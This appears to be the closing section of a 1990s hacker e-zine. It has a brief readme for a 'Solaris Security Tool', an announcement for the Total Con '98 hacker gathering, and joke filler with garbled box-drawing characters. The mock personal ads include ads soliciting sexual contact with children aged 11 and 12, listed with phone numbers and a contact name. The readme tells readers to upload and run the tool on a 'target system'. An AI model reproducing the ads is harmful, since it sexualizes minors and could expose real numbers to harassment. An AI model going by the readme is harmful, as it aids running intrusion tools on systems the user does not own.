컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ============================================================================= The Solaris Security Tool Readme File : ============================================================================= ::: This tool is for use with Solaris 2.5.x [sunOS 5.5.x]. ::: It needs /bin/bash on the target system to run. To get soltool to work, do the following... 1) FTP it to your target system (the soltool.gz) 2) telnet in, and type... % gunzip soltool.gz % /bin/bash $ chmod 755 soltool $ soltool ... then it will run, and give you usages and stuff ... if it gives "Command not found" then try this as step 2... otherwise bash hasn't been installed. % /usr/local/bash Enjoy, 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. TOTAL CON : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ****************************************************************************** http://www.aom.co.uk/total/ ****************************************************************************** +------------------------------------+------------------------------------+ � An Official Total Con Announcement � An Official Total Con Announcement � � An Official Total Con Announcement � An Official Total Con Announcement � +------------------------------------+------------------------------------+ ****************************************************************************** http://www.aom.co.uk/total/ ****************************************************************************** Total Con '98 is now a reality, here are preliminary details... =============================================================== Venue : The Old Firestation, Silver Street, Brisol, ENGLAND Date : Late March 1998 Duration : 1 night (12:00pm -> 12:00pm next day) What : 12 system network with internet access Loud music Fully licensed bar downstairs Elite UV and spotlights Channel 4 media coverage (hopefully) ALOT of cool people ^^^^^^^^^^^^^^^^^^^ *** NO SPEAKERS WHATSOEVER *** Travel : Easily accessible by car, train, bus or plane. Accomodation : You can crash out in the Firestation (its HUGE) or book one of many hotels in the immediate area. ****************************************************************************** http://www.aom.co.uk/total/ ****************************************************************************** +------------------------------------+------------------------------------+ � An Official Total Con Announcement � An Official Total Con Announcement � � An Official Total Con Announcement � An Official Total Con Announcement � +------------------------------------+------------------------------------+ ****************************************************************************** http://www.aom.co.uk/total/ ****************************************************************************** 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� --------------------------------------+--------------------------------------- | YOUR SPECIAL AD | LET'S BE FREE | COULD BE RIGHT HERE #@! | Gay White Male 38, 5'11" looking | for men, 12 - 32 clean, fit, and SEND ELECTRONIC MAIL TO: | hairy. Discreet Encounters. ADZ@CODEZ.COM | Call Anytime : (816)781-8009 | (Ask for Tommy) | --------------------------------------+--------------------------------------- | ARE YOU 11 OR 12 ??? | FREE FONESEX! CALL ME NOW!@ | Looking for men 11 - 12 for adult | Yeah huney, you know you want me, video satisfaction. I am 35 into | I'll treat you just right, I'm Professional wrestling. | waiting for your call today! Let's talk soon : (816)453-8722 | CALL ME NOW!@# : (847)546-9154 | (Ask for Kim) --------------------------------------+--------------------------------------- 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .oO The CodeZero Oo. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� _ /| k0dek4t sez... \'o O' =(_o_)= "EyEm HuNGaRy FoR SKiLLz, U nOt CaTf00d!!#@" 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Remember, McDonalds Owns You, And Ronald Is The KinG!!! Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#* 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�